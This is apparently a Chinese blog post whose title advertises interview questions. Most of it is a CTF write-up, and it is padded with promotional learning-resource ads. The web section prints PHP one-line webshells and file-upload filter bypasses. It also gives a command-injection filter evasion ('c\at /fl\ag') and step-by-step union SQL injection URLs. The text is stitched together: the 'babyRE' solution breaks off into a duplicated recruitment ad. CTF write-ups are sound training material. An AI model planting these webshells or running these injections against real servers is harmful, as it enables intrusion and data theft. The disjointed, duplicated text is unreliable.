还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
😝朋友们如果有需要的话,可以联系领取~
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
2️⃣视频配套工具&国内外网安书籍、文档
① 工具
② 视频
③ 书籍
资源较为敏感,未展示全面,需要的最下面获取
② 简历模板
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
5.这都不做
这是一道文件上传漏洞利用的题目。
首先介绍一下什么是文件上传漏洞,什么是一句话木马:
需要绕过的地方
- 文件类型验证:服务器可能会限制可以上传的文件类型,通常通过检查文件扩展名来实施。
- 内容验证:服务器可能会检查文件的MIME类型或文件内容,以确保上传的是合法的图像或文档文件等。
- 文件大小限制:上传的文件大小可能受到限制。
- 服务端代码执行防护:服务器可能会尝试阻止上传的文件被执行,特别是对于脚本文件。
绕过的方式
- 扩展名绕过:尝试改变文件扩展名或使用服务器允许的其他扩展名,例如将
.php
文件改为.php5
、.phtml
等。- 利用双写扩展名:如
shell.php.jpg
,某些服务器可能会误认为是合法的图片文件,实则最终以PHP文件执行。- MIME类型欺骗:在HTTP请求中修改
Content-Type
头,尝试绕过基于MIME类型的验证。- 内容混淆:将恶意代码嵌入到看似合法的文件中,如将PHP代码隐藏在图像文件中,尝试绕过内容基的检查。
- 利用服务器配置错误:有些服务器配置可能允许执行带有特定扩展名的文件,甚至在文件名中包含某些关键字。
- 利用文件解析漏洞:某些Web服务器或应用程序在解析文件时存在缺陷,如Apache的多后缀处理,可被利用来执行脚本。
一句话木马
一旦绕过了文件上传的限制,可以上传一句话木马来获取webshell。一句话木马通常是极其简短的脚本代码,用于远程执行命令,如:
<?php eval($_POST['cmd']); ?>
成功上传后,攻击者可以通过发送HTTP POST请求并携带
cmd
参数来执行服务器上的任意命令。所以,我们这里的核心就是要绕过各种各样奇奇怪怪的上传限制,把一句话木马上传到服务器上并使他解释为PHP代码执行,我们就可以进行远程命令执行,相当于获得了管理员权限。
经过多次测试后,这道题目一共需要绕过三处:
1,文件名双写绕过2,文件类型绕过
3,PHP短标签绕过
绕过文件上传漏洞我们一般使用Burpsite,没错,又是这个老朋友。
使用Burpsuite工具抓包,抓包方法与前面一样。
右键发送到repeater重放器改包:
需要修改的是这三处:
经过多次尝试,服务器会将上传的文件后缀注释掉,不是.php结尾的文件,自然不会被服务器当做php代码执行。所以我们这里需要双写php,即在.php中间再加一个php,即为.pphphp,服务器会注释掉中间的php,还剩一个.php,其中的代码就可以被服务器执行。
还有一处需要绕过的是Content-type,即文件类型,这是文件上传漏洞题目中需要修改最多的地方,基本上每一题都要改这个地方。这里默认的是application/octet-stream,经过尝试报错,可以知道这里服务器只允许上传jpg图片文件,jpg文件的Content-type是image/jpeg。
最后一处需要绕过的地方是php短标签,这是需要补充的知识:
在PHP中,短标签(short tag)是一种简写形式的PHP标签。标准的PHP标签是
<?php
和?>
,而短标签则是<?
和?>
。短标签的使用可以让PHP代码更简洁,但它需要在php.ini
配置文件中通过short\_open\_tag
选项被明确地启用。由于不是所有的服务器都启用了短标签,依赖短标签的代码可能在某些环境中无法正常运行,因此使用短标签可能会导致可移植性问题。短标签绕过
在文件上传漏洞的上下文中,"短标签绕过"通常指的是攻击者利用目标服务器开启了对PHP短标签的支持这一点,通过上传包含短标签(如
<?
)的恶意PHP代码来执行远程代码。这是因为服务器可能仅仅检查文件是否包含标准的PHP开头标签(<?php
),而忽略了短标签。例如,如果攻击者知道目标服务器启用了PHP短标签,但文件上传过滤器只检查是否存在
<?php
标签来决定文件是否包含PHP代码,那么攻击者可以利用这个漏洞通过上传包含<?
开头的PHP代码来绕过过滤器。绕过示例
比如,一个简单的一句话木马PHP脚本,使用标准PHP标签可能是这样的:
<?php eval($\_REQUEST['code']); ?>但如果服务器开启了短标签支持,攻击者可以利用短标签绕过,简化为:
<? eval($\_REQUEST['code']); ?>或者更加隐蔽地使用:
<?=shell\_exec($\_GET['cmd'])?>这里
<?=
是另一种形式的短标签,用于输出,但它在PHP 5.4.0及更高版本中默认开启,不受short\_open\_tag
配置选项的影响。
综上所述,需要修改的地方如图所示,然后点击放行:
(这里我们在一句话木马的内容前面加上GIF89a,这是GIF文件的标识,可以做到更好的隐藏。而且我们检验上传是否成功的方法一般为直接访问上传的一句话木马文件,在已经绕过所有限制,并且上传成功的前提下,服务器会执行我们上传的脚本,但是GIF89a只是一个标识,并不会被执行,访问文件时会正常显示在页面上,也方便我们自查一句话木马是否上传成功)
最后让我们猜路径,可以看到,处理文件上传的php脚本为upload.php,所以我们猜测存放上传文件的路径为/uplpad文件夹。
我们先来访问一下http://172.16.17.201:50135/upload/yjh.php
可以看到,这个php文件已经成功上传并被服务器执行。既然已经植入了木马,那我们也可以进行命令执行了。归根结底,我们需要找到的flag存放于网站某个目录下的某个文件中,我们要做的就是找到这个文件,并且读取文件中的内容。这里有两种做法,一种是直接在一句话木马界面进行命令执行,还有一种是使用中国蚁剑这个工具,可以连接已经上传的木马文件,从而获得访问网站目录等管理员权限。其实两种方法的原理都是一样的,只不过蚁剑提供了一个图形化界面,更加便捷。
首先我们进行第一种方式,命令执行:
这里我们使用的工具是浏览器插件Hackbar,注意,这里可不能直接通过URL访问,因为我们的一句话木马是要用POST请求方式才能起作用,直接访问默认使用的是GET请求方式。在一句话木马的界面,F12打开Hackbar工具,勾选POST Data,在下方的参数框中填入shell=system(‘ls’);,意为列出当前目录下所有文件。出现yjh.php,说明命令起作用了。
shell=system(‘ls /’);去根目录看看,可以看到flag文件
shell=system(‘cat /flag’);使用cat命令查看flag文件中的内容
第二种方法:使用中国蚁剑工具:
右键空白页面添加数据,填上一句话木马的路径,密码为shell,测试连接
添加数据,直接双击第一个数据,查看网站目录,点击 / 查看网站根目录,即可在根目录中找到flag文件,双击查看就能看到flag。
本题完。
6.Rceeee
我们先来了解一下什么是rce:
RCE漏洞,即远程代码执行漏洞,是一种安全漏洞,它允许攻击者在目标系统或进程中执行任意代码。这就意味着攻击者能够控制目标计算机执行他们想要的操作,例如访问敏感数据、安装恶意软件或者创建后门。
利用RCE漏洞通常涉及以下几个步骤:
- 发现漏洞:通过各种手段(如扫描工具、代码审计或提示信息)发现目标系统中存在的RCE漏洞。
- 制作攻击载荷:根据具体的漏洞特征,创建一个特制的代码或命令序列,即攻击载荷。
- 传递和触发:通过网络请求或其他方式,将攻击载荷发送到目标系统,并促使系统执行这段代码。
- 控制和操作:一旦攻击载荷被执行,攻击者可以根据需要进行各种操作。
在CTF(Capture The Flag)竞赛中,RCE漏洞是一类常见的题目,它考验参赛者发现和利用这些漏洞的能力。在CTF比赛的攻防环境里,RCE漏洞的利用是为了攻击对手或者获得系统的权限,从而抓取到标志物(即Flag),得分赢得比赛。这些竞赛通常是在一个控制和法律允许的环境中进行,旨在通过实战演练来提高参与者的安全技能。
回过来看这道题目:
让我们逐行解释一下这个php脚本都干了些啥:
<?php
: 这是PHP代码开始的标志。
error\_reporting(0);
: 这行代码设置了PHP的错误报告级别。数字0表示禁止所有的错误报告,这通常用于生产环境中防止用户看到错误信息。
highlight\_file(\_\_FILE\_\_);
: 这个函数的作用是将当前文件的源代码显示在浏览器中,并且以高亮显示。\_\_FILE\_\_
是一个魔术常量,指向当前执行的脚本文件。
function strCheck($cmd) { ... }
: 定义了一个名为strCheck
的函数,它接受一个参数$cmd
,即用户输入的命令。
if(!preg\_match("/\;|\&|\\$|\x09|\x26|tac|cat|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
: 使用正则表达式检查$cmd
变量中是否含有列出的一系列字符或单词(如分号、&、$、制表符、tac、cat等)。这个检查是不区分大小写的,因为正则表达式的末尾有一个i
修饰符。
return($cmd);
: 如果preg\_match
检查不匹配(即$cmd
中不包含那些字符或单词),函数就会返回$cmd
。
else { die("你的想法很有趣....."); }
: 如果检测到了非法字符或单词,脚本执行将停止,并显示一条消息 “你的想法很有趣…”。
$cmd=$\_GET['cmd'];
: 这行代码从URL的查询字符串中获取cmd
参数的值,并将其赋给变量$cmd
。
strCheck($cmd);
: 对变量$cmd
调用strCheck
函数以检查可能的非法字符或命令。
shell\_exec($cmd);
: 如果$cmd
通过了strCheck
函数的检查,这个命令就会执行。shell\_exec
函数用于执行一个命令并通过字符串返回输出,它是PHP中用于执行外部程序的一个函数。
我们这里的思路是,绕过所有的字符和单词检查,使用tee命令,保存输出的flag的内容到文件中然后直接访问,得到flag。这里用到的命令为?cmd=c\at /fl\ag | tee 1.txt。
这个题目设计了一个基本的安全机制来过滤掉潜在的危险命令。这个机制通过
strCheck
函数实现,它检查传入的$cmd
变量,如果发现一系列特定的字符或命令关键词,如 “;”, “&”, “tac”, “cat” 等,就会终止执行。构造的 payload 是
http://172.16.17.201:50082/?cmd=c\at /fl\ag | tee 1.txt
。这个payload的关键在于绕过了strCheck
函数的检测。具体来说:
命令拆分:使用了
\
来逃避strCheck
函数对 “cat” 和 “flag” 这两个词的检测。实际上命令变成了cat /flag
,这是一条合法的命令,用于读取名为 “flag” 的文件。命令执行:使用
| tee 1.txt
将cat
命令的输出不仅显示在屏幕上,还同时写入名为 “1.txt” 的文件。这样做的目的是为了绕过可能的输出限制,即使直接的命令执行结果无法在网页上显示,输出内容也会被保存到服务器上的 “1.txt” 文件中。当访问
http://172.16.17.201:50082/1.txt
时,就能看到保存在 “1.txt” 文件中的 flag。这是因为这个文件现在存储在Web服务器的根目录下,可以像访问其他网页资源一样通过URL直接访问。因此,这种 payload 的关键在于巧妙绕过了安全检测,同时保证了命令执行的结果可以被存储和访问。
解释一下,?cmd=c\at /fl\ag | tee 1.txt 利用了管道命令。翻译一下就是这个
cmd
参数通过绕过安全过滤尝试读取文件/flag
的内容,并将输出同时保存到服务器上的1.txt
文件中。
本题完。
7.斗宗强者恐怖如斯
一个后台管理页面,提示账号为admin,可以爆破出密码为admin123,来到SQL注入页面。
http://172.16.17.201:50093/wyr_secrets.php?id=1’报错,说明存在SQL注入
http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,3 – -查看显示位
http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,database()-- -看数据库名
http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=‘xitif_sql’ – -查看表名
注意,这里的语句中information会被服务器注释掉or,因此需要双写为infoorrmation
http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=‘flag’ – -得到字段为flAg
最后http://172.16.17.201:50093/wyr_secrets.php?id=-1’) union select 1,2,group_concat(flAg) from xitif_sql.flag – -得到flag
本题完
MISC
1.不要尝试爆破哟!
有个key.png,有个加密的压缩包,不用说,压缩包的密码就在图片里
题目的提示是LSB隐写,使用stegslove工具打开图片分析
可以在preview中看到密码,但是这里的密码不能有空格,所以我们Save Bin保存一下文件
用记事本打开bin文件,就能得到密钥,注意是花括号中的部分
用得到的密钥解压压缩包,得到一个文本文件,是图片转为base64编码的内容
全部复制,将base64编码转为图片,在线转换地址base64转图片 - 爱资料工具https://www.toolnb.com/tools/base64ToImages.html
得到了一个残缺的二维码,缺了三个定位角。下载一张定位角图片,去PS或者PPT把残缺的三个定位角P上
也可以直接截图我这里的
P图,需要做到心不慌手不抖
然后用在线工具识别一下就能得到flag
本题完。
2.留个后门
这道题需要用到代码审计的工具为D盾(dsafe),将文件解压后把整个文件夹拖到D盾中即可自动开始扫描。
答案已经出来了,就是this_is_answer套上Yunxi{}
本题完。
3.师姐的旅游照片
是一个名称为png的图片,加上后缀,就能得到一张图片,既然说要得到猪脚图片,那么肯定是图片里面还有一张图片
丢到winhex里边分析一下,可以在最后看到一串base64编码,解码后是前半段flag
丢到Kali Linux虚拟机使用foremost工具分离
分离的命令为:
foremost -o /home/kali/桌面/2 '/home/kali/桌面/师姐的旅游照片.png'
运行成功后可以在桌面上得到一个名为2的文件夹
打开zip文件,其中的压缩包就是分离出来的文件,把它复制到桌面上
解压后是一张猪脚图片,题目提示的很明显了,修改图片的高为1607
修改0320(原图片高800的十六进制数值)为0647(1607转换为十六进制的数值)
保存后即可看到后半段flag
本题完。
4.来听一首music
音频隐写题目,要用到的工具是MP3stego,压缩包的first文件夹中有一个音频文件,有一个图片,音频文件的密码就在图片属性内。
将音频放到MP3stego的文件夹内,在文件夹中打开命令行工具
使用的命令为
Decode -X -P pass yunxi.mp3
分析结束后,出来一个.txt文件
base64解码
再接着解一次
这个是base16
解出来了,第二个压缩包的密码
解压second压缩包,得到一串文本,这是摩斯密码,只不过要替换一下
将A替换为 - ,B替换为 . ,然后用在线网站即可解密flag
这里的%u7b代表 { ,%u7d代表 }
本题完。
5.小猫小猫请给我flag
这题简单,解压压缩包得到一张图片,直接winhex或者010打开就有flag。
本题完。
6.超简单的流量分析
看提示:sqli-labs,创建了一个新用户
用wireshark打开解压后的.pcapng结尾的文件
CTRL+F搜索sqli-labs,然后看到右下角的create.php,就是处理创建账户的PHP脚本
右键左下角相关数据,追踪TCP流
可以看到新创建的用户为yunxi,后面的re密码套上Yunxi{}就是flag
本题完。
Crypto
1.EZ-rsa
运行附件中的脚本,可以分别得到三组n和c,下面是解密脚本
import binascii
import gmpy2
from functools import reduce
# 导入库,binascii将数字转换成二进制字符串,gmpy2用于大数运算
n = [
5567000486226353254524673454357147076118077122275789480555238584552332526459181641567858429587222587683345901310468140782420858931709570476562698953112801,
6982887363645354856540867035629441781549999700006363403940951376485517460506822033812812263179663875843737953430050436453298336104404304183964162702612863,
5569628780521526092136759047774448808289588145127191213956593902336353172559905282602383716258500935021056393917971164303539941268395159953652768614304911
]
c = [
4112523544883480830903403452517516825703078902670926405984774762024235980767805538947466914193950835488469608756778569692190967901730207690525300247682815,
4181292472036270897593568708931413787888488621274030741130549434467976405476555130890722346319549396800183827305452019796119873044279138566837264814627098,
3857434270788621361517349247277347831953021241414984430770586220424214110700999615785879462771584952744049357875753754209006439028080870626012342467148773
]
def CRT(mi, ai):
# 中国剩余定理,用于合并c中的加密结果,mi模数列表,ai加密列表
assert(reduce(gmpy2.gcd, mi) == 1), "模数不是互质的"
assert(isinstance(mi, list) and isinstance(ai, list)), "mi和ai必须是列表"
M = reduce(lambda x, y: x * y, mi) # 计算所有模数的乘积M
ai_ti_Mi = [(a * (M // m) * gmpy2.invert(M // m, m)) for (m, a) in zip(mi, ai)] # m对应的加密结果a储存在ai_ti_mi列表中,x模m的乘法逆元
return reduce(lambda x, y: x + y, ai_ti_Mi) % M # 将所有a相加,并对m取模得到crt结果
e = 0x3 # 公钥指数
m = gmpy2.iroot(CRT(n, c), e)[0] # 第一个元素是整数部分,用[0]获取
# 将明文从十六进制转成二进制
# 注意移除十六进制字符串中可能的"0x"前缀和最后的"L"后缀
print(binascii.unhexlify(hex(m)[2:].rstrip("L")))
最后再用md5加密一遍结果就完了
import hashlib
# 需要加密的内容
text_to_encrypt = "a2d10a3211b415832791a6bc6031f9ab"
# 创建md5对象
md5_hash = hashlib.md5()
# 对需要加密的内容进行编码,然后进行md5加密
md5_hash.update(text_to_encrypt.encode('utf-8'))
# 获取16进制的加密结果
_text = md5_hash.hexdigest()
print("MD5 Encrypted Result:", encrypted_text)
2.Fuck!
先base16解码
再base32
本题完。
3.mdmd555
import hashlib
for i in range(32, 127):
for j in range(32, 127):
for k in range(32, 127):
m = hashlib.md5()
m.update(('Yunxi{' + chr(i) + '_real' + chr(j) + 'y_k' + chr(k) + '0w_md5}').encode('utf-8'))
des = m.hexdigest()
if des == '42db61d26c6541e30314cafc60f93113':
print('Yunxi{' + chr(i) + '_real' + chr(j) + 'y_k' + chr(k) + '0w_md5}')
break
本题完。
4.XX+CC
XX-encod解密
ciphertext = "afZ_rj]]fQZcN1[^kXhTjTdZQcW\Zh"
plaintext = ""
part1_offset = 5
part2_offset = 6
# 第一部分解密
for i in range(len("flag{this_is_}")):
char = ciphertext[i]
plaintext += chr(ord(char) + part1_offset)
part1_offset += 1
# 第二部分解密
for i in range(len("flag{this_is_}"), len(ciphertext)):
char = ciphertext[i]
plaintext += chr(ord(char) + part2_offset)
part2_offset += 1
print(plaintext)
本题完。
Reverse
1.re1
这里用到的反汇编工具是IDA Pro。
F5查看伪代码
我们先看看这个_main函数都干了些啥:
这个\_main
函数似乎是用于初始化一些全局构造函数的。initialized
变量用来检查是否已经进行了初始化,防止重复初始化。如果initialized
为0
(即未初始化),则设置initialized
为1
并调用\_do\_global\_ctors()
函数进行某些初始化操作。这部分对理解主要逻辑不是必须的,我们可以把它当成背景信息。
现在,让我们重新分析主函数main
的逻辑:
-
打印提示信息
"This is a sign-in question, the flag is here."
。 -
将字符串
"Yunxi{Hhhackeer\_hello\_w0rld}"
拷贝到变量Str
中。 -
通过
printf
函数提示用户输入flag。 -
读取用户的输入到
Buffer
变量中,fgets
函数从标准输入(stdin
)读取最多49个字符(保留一个位置给字符串结束符'\0'
),然后用strcspn
函数找到并去除字符串中的换行符。 -
接下来,程序对
Str
中的某些字符进行替换:
- 将所有的e
(ASCII码为101)替换为3
。
- 将所有的o
(ASCII码为111)替换为0
。 -
最后,如果修改后的
Str
字符串与用户输入的Buffer
字符串相同,打印"Welcome"
;否则,打印"No way"
。
综上所述,用户需要输入一个正确的flag才能通过验证。这个flag就是"Yunxi{Hhhackeer\_hello\_w0rld}"
字符串,但是其中的e
替换为3
,o
替换为0
,即正确的flag应该是"Yunxi{Hhhack33r\_h3ll0\_w0rld}"
。
2.babyRE
如何自学黑客&网络安全
黑客零基础入门学习路线&规划
初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。
8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
一些笔者自己买的、其他平台白嫖不到的视频教程。
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。
8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
网络安全工程师企业级学习路线
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
一些笔者自己买的、其他平台白嫖不到的视频教程。
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!